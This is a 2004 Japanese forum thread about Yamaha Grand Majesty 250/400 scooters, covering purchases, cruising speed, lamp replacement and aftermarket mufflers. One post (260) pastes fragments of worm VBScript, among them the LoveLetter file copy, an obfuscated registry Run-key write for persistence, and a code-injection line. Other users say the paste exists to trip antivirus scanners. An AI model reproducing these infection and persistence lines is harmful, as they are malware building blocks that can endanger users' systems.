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【250】グランドマジェ総合part2【400】

1 :1:04/04/09 23:47 ID:1AhZ/KtN
好評につきパート2です。マターリ進行でね。

前スレ

★250でも★グランドマジェ総合★400でも★
http://hobby4.2ch.net/test/read.cgi/bike/1078071781/-100

関連スレ

YAMAHA MAJESTY マジェスティ250スレ12
http://hobby4.2ch.net/test/read.cgi/bike/1071127658/

オーナーズクラブ
http://maje-oc.com/

マジェスティ125を語るスレ 8台目
http://hobby4.2ch.net/test/read.cgi/bike/1065454675/



258 :774RR:04/05/05 17:04 ID:E2HNRoCp
でも昔のKATANAみたいに内側にキロ表示があったら雰囲気あってイイかも。

259 :774RR:04/05/05 18:27 ID:cM7Ins8v
>249
バックレストと同じ装着できればよいのにねぇ。
背もたれはつくがサイドがなくなってしまうものね

260 :おめおめ:04/05/05 19:47 ID:weA3eIeS
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))


261 :774RR:04/05/05 19:48 ID:E2HNRoCp
気をつけろー

262 :774RR:04/05/05 20:04 ID:iYe1d6fS
糞ヴァカがまた張ってるな

263 :774RR:04/05/05 20:39 ID:WDpl1Imi
>>260
なんだそれは
意味不明

264 :774RR:04/05/05 20:42 ID:IXZpsGnc
あーあ 263がレスしちゃったよ。

265 :774RR:04/05/05 20:46 ID:TsCxz11j
>>263
ウィルスチェッカに誤動作を起こさせる文字列
そうやってレスアンカを付けてしまうと、削除人も消せなくなるので、以後無視してくだちい

266 :252:04/05/05 21:07 ID:zBayTVI+
そうでつか。皆様thxでつ。
週末にも400契約しに行ってきまつ。
・・・納期いったいどれぐらいかかるんだろうw

267 :774RR:04/05/05 21:52 ID:gLC22Z7q
>>263
馬鹿野郎。

268 :774RR:04/05/05 21:54 ID:8V6jJoPB
>265
削除できなくなるというか、削除人が消さない理由にそう言ってるんだよね。
本当は面倒なだけなんじゃないかと思う。

269 :774RR:04/05/05 23:12 ID:dDw6rX6e
>・・・納期いったいどれぐらいかかるんだろうw

GW前なら、都内のYSPには在庫があったみたいだけどね。
いま在庫がないと、次の入荷は色によっては夏以降らしい…

270 :774RR:04/05/05 23:17 ID:MBecfFnY
Gマジェのポジションランプって簡単に交換できますか?
はずし方を探ってみたんですけど、全然わかんない・・

271 :774RR:04/05/06 00:57 ID:rO3Kq+ff
>270
わしのホメパゲみれ。今日写真つきで載せたぞ
といってもここにアド書くのもなぁ・・・

272 :774RR:04/05/06 01:06 ID:rO3Kq+ff
ちなみに4mmの六角&プラスドライバーで交換可能。
車載工具も同じサイズなので可能。
あとマイナスドライバーみたいのがあればよしです。
ちょっとカウル付きバイクいじったことあればモウマンタイ

273 :774RR:04/05/06 11:03 ID:IDsT/5dK
>>272
レスどうもです!その工具だけでなら簡単に出来そうです!
最初にライトの所のV字をはがせばいいのかな?と、思ってるんですけど。
ツメとか折りそうで止めといたんですが・・最初の取っ掛かりが分かんなくて。


274 :271:04/05/06 11:45 ID:rO3Kq+ff
まず、V字をはずします。下から覗くとネジが2本あるのでそいつを撤去。
マイナスドライバーにウエスなどをかませてV字の先端に差込はずす。片方
に3箇所ささってます。んで、スクリーンをネジ6本で撤去。で、黒いやつは
そのまま下にさげれば外れます。
ウインカーアッシーのネジ2本撤去。その上のパネルを押さえているネジも
とったほうがあとあといいです。アッシーは前に引くようにしてはずす。
戻すときにパネルを少し持ち上げながらやらないとかなりやりにくいかな

275 :774RR:04/05/06 12:36 ID:vQ3+ouoB
旧マジェより造りがしっかりしてるから外装外すの大変じゃね?

276 :774RR:04/05/06 19:28 ID:jQgBvNhl
スクリーンを留めてるプラスティックのネジを締める時は気を付けろッ!

回していって、止まったらそこでストップだ!それ以上は絶対ナメル事になる。
6箇所あるからそれで大丈夫ダ。信じろ。

277 :774RR:04/05/06 20:12 ID:tTlu+MwJ
250cc購入予定です
400ccでは120巡航が楽らしいですけど
250ccの巡航速度はどんなもんですか?

この前試乗したら上りでぶん回して80kくらいでました

278 :774RR:04/05/06 21:03 ID:+Gb6md3D
Gマジェ250は、平地なら120までは普通に伸びる。

旧マジェが100までは普通に伸びて120まではひっぱらないとダメだった事を考えると、
高速道路で+20km/hを楽に出せることの実用上の差は、実は結構あるはず。

ただ、旧マジェもGマジェも最高速は130〜140程度で大差ないし、
そこまで出すにも長い下り坂を使ったり、平地で何kmもひっぱったりしないと出ない。
これはもう250cc単気筒のパワーの限界だから、仕方がない。

さらに、その状態で長時間巡航するというのも、それ以上はもう出ない訳で
回避のために加速するような局面では回避できない訳だし、
エンジンを限界で回し続ける事になり、寿命もガンガン縮むと思っていい。

マジェ400になると、120なんてアクセル一捻りで出せるよ。
平地ならそこから140越えるくらいまで楽に加速できる、最高速は160に届くかどうかくらい。

上り坂も、高速の上り坂くらいなら、そのまま120で巡航できる。
かなりきつい峠の登り(クルマが二速でないと加速できないような坂道)でも、
マジェ400なら80くらいまで出せる。

頻繁に高速やバイパスを使うつもりでいるなら、400の方が遥かに安心して乗れるよ。
逆に、街乗りメインで高速はまず使わない、山道も走らずタンデムもしないなら、250で十分。
用途と維持費(400は車検がある)を秤にかけて、よく考えた方がいいと思う。


279 :774RR:04/05/06 21:18 ID:jQgBvNhl
マジェCに2年乗った後、Gマジェに乗り換えて2ヶ月です。
点検中にマジェCを代車で借りたんですが、軽さとコンパクトで良かったデス。

今更なんですが、マジェCとの比較を・・・。
改めてエンジンと駆動系を比べると、マジェCとGマジェは同じ2500回転でクラッチが繋がり、
マジェCは4000回転弱から加速が良く、ここからのアクセルの反応も良いです。
一方、Gマジェはアクセルを開けるとすぐ5000回転になります。
2500〜5000回転まではあまりトルク感が無く、アクセルを開閉してもモサーとした感じ。
両方とも5300回転くらいで変速していきます。この域から上の加速はGマジェが良い。
Gマジェの発進でのモタツキ感は、30キロ増えた車重と、5000回転に上がるまでの時間が長く感じられるから?

エンジンの振動やフィーリングはGマジェの新型DOHCエンジンの勝ち。
低速トルクに関しては、同じ車体に乗せて比較しなくては分かりませんネ。
DOHCの方が燃焼室形状やバルブ・プラグの配置が最適にできるので、燃焼の効率は
むしろ良くる理屈ですので低速域でのトルクも大きくなっているはず…です。

車体〜サスペンションは全く違います。
Gマジェは直進性良く、コーナーは安定してます。
ホイール径がUPしたので路面の凹凸でもフラフラしません。ウェット路面でもグー。
個人的には乗り心地は悪いと感じる1歩手前です。
マジェCはハンドリングがクイック。しかしGマジェに乗ってしまうと、フラフラしていると
感じてしまいます。走行中、ハンドルが軽い…?でも乗り心地は良いです。シートも柔らかい。
ブレーキの効きはマジェCの方が良く感じます。

車体はGマジェが一回り大きいですね。ヤマハが併売するもの分かります。
シート下のトランクはマジェCの方が使いやすいですね。Gマジェはまん中が盛り上がって
いるので前後に分割されてます。しかし後ろには350ミリ缶24個入りケースが入ります。

Gマジェは大きい分、足つきも悪くタンデムステップも遠く感じる。
私は身長166センチですが、タンデムステップに足はベッタリとは付かない。
アルミフレームの幅の為かセンタートンネルが幅広く、ステップボードの幅が狭いです。
デカイ靴だと、横にはみ出るんじゃないかな。

280 :774RR:04/05/06 21:59 ID:rO3Kq+ff
やっぱ30キロは重いのね。でもアルミにしなかったらもっともっと
重くなったそうですよ。
>個人的には乗り心地は悪いと感じる1歩手前です。
これ分かるわ。細かい凹凸はすごく感じないぐらいいいのに、でかい凹凸
は不快。マンホールが道の真ん中にあることに疑問を感じるわ。歩道につ
くれば凸凹にもならないのに

281 :774RR:04/05/07 00:37 ID:sT6mF1aD
http://ip.tosp.co.jp/i.asp?i=gokufamiry



282 :774RR:04/05/07 11:41 ID:hFb6Xmcl
サイドスタンドのキルスイッチは旧マジェみたいに簡単に解除出来ますか。

283 :774RR:04/05/07 11:43 ID:6KO+j27N
>>282
ガイシュツ
聞く前に過去レスくらい嫁

284 :774RR:04/05/07 16:08 ID:VeWzMBNf
>>274/276
どうもありがとうございます。
早速チャレンジしてみます!(`・ω・´)

285 :774RR:04/05/07 19:28 ID:0ATj4Sj6
ローダウンしたぜ!
さいこ〜〜〜。

286 :774RR:04/05/08 17:54 ID:SL2JdFdT
マフラーなにがでてますか?

287 :774RR:04/05/08 18:56 ID:xNqmTW0g
>286
音のイイマフラーが出てるよ

288 :774RR:04/05/08 19:50 ID:Ht7b05ZS
RC甲子園のパワーアップキットおすすめ
音も見た目もかっこいいし、かといってDQNくささもしない。
低中速の伸びはかなり快適。
あっというまに80キロこすし、5000rpm以降もスムーズに伸びる

それはそうとグラマジェオーナーのインプレやカスタムがのってる
おすすめのサイトってないですか?
オーナーズクラブ以外で。

289 :774RR:04/05/08 19:53 ID:Ht7b05ZS
ちなみに9万もあれば一番高いのが買える。
400のグラマジェを20万以上も出して買うより250買ってコレつけるほうが安上がり。
まぁ400のパワーにはやっぱおよばないだろうけども
250の最大の弱点がなくなった感じがする。

290 :774RR:04/05/08 20:35 ID:TTcEKznj
300


291 :774RR:04/05/08 20:37 ID:+jxQaoRN
400でそれ付けたらどうなるんだろ

292 :774RR:04/05/08 21:23 ID:Ht7b05ZS
>>291
どうなるんだろうね。

ttp://www.rckoshien.co.jp
ちまみにこれね。

今の俺のカスタム
ショートスクリーンタイプ1
クールメッシュカバー
タンデムバックレスト
クリアテールランプカバー
カーボンルックサイドバイザー
パワーアップキット(ウエイトロイーラー、クラッチスプリング、チタンサイレンサー)
アラーム付イモビライザー

とりあえずこれ以上はしばらくイジらない。
冬になる頃にグリップカウルとグリップヒーターつければもう満足。

HIDとかバーハンとかローダウンキットはイラネ

293 :774RR:04/05/08 21:32 ID:JlVoBVbu
>292

Gマジェにローラー、スプリング交換はどんな具合ですか?

294 :271:04/05/08 23:11 ID:fBH6sGcE
ピュアスポーツ待ち中
4000〜5000をメインにトルクもりもりにしているそうです。
メールで問い合わせましたがもうちょっとみたい。
実用域にもってくるので楽しみ。
昔のスパコンはいまいちだったみたいですが

295 :774RR:04/05/09 00:12 ID:nRW/aucz
なんか、このスレひらくと、ノートンがウイルスを検出するんだけど

296 :774RR:04/05/09 00:17 ID:PRvBGdf4
甲子園も忠男もいまいち好きじゃないなぁ。つーか値段高すぎだろ。
9マソって、おそらく原価は2,3マソ程度だぞ。
漏れは吉村待ちです。


297 :774RR:04/05/09 00:22 ID:DVX6F9wr
んなこといったらバイクの原価なんて・・・

298 :774RR:04/05/09 00:29 ID:uMHJfNsn
>>296
甲子園のチタンじゃないセットは安いとこで67800円であったよ。

299 :774RR:04/05/09 02:09 ID:hL15QCVm
>296
忠男も69800円だぞ

>297
どんぐらいなんでしょ?開発費やらなにやらいれたら世界でも数万台
で儲かるもんなのかね

300 :774RR:04/05/09 07:34 ID:4SZKz6//
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301 :774RR:04/05/09 12:01 ID:PRvBGdf4
いや〜、バイクのマフラーどのくらい開発費掛けてるかは疑わしいよ。
たいていは汎用の消音機部分に車種別のエキパイつけてるだけだろ。
サイレンサーなんてどの車種の見ても間違いなく同じはず。

後は出る数にもよるけど、車のマフラーなんて3マソくらいでふつうにあるもんな。
しかも、サイレンー部分はたいてい外注の汎用品だったりする可能性も・・・・。
正直6,7マソってどうかと思う。
それでも、きちんとパワー出るようにセッティング出してくるメーカーはいいんだが、
格好重視のところは・・・ (((( ;゚Д゚)))ガクガクブルブル
まぁ、たしかにそういうところのは3マソくらいなんだけどな(w


302 :774RR:04/05/09 13:02 ID:D+Xjy1SL
まあバイクのタイヤが車の2倍くらいするのと同じで、
要するに投資(開発費など)を量産効果で回収できないから、
販売価格にそれを上乗せせざるを得ない、って事ですな。

>それでも、きちんとパワー出るようにセッティング出してくるメーカーはいいんだが、
>格好重視のところは・・・ (((( ;゚Д゚)))ガクガクブルブル

パワー以前に、排圧の設定きちんとしてんのかなぁみたいなものもあるしな…。
うるさくなる、パワー下がる、おまけにエンジンの寿命まで縮めるじゃあ、
モラル云々以前にいいとこまったく無し。


303 :774RR:04/05/09 16:42 ID:exUX/wb+
スクーター用なら忠男や甲子園くらいしかまともなの作ってないだろ。

304 :774RR:04/05/09 17:47 ID:PRvBGdf4
ノジマもいいらしが?

305 :774RR:04/05/09 18:14 ID:XQYLpW5o
NRマジックもちゃんとしたの作ってるぞ

306 :774RR:04/05/09 18:18 ID:FaVwrVRI
OVERも

307 :774RR:04/05/10 01:15 ID:pboFxbZV
おまえらそのうちほとんどのマフラーになるぞ

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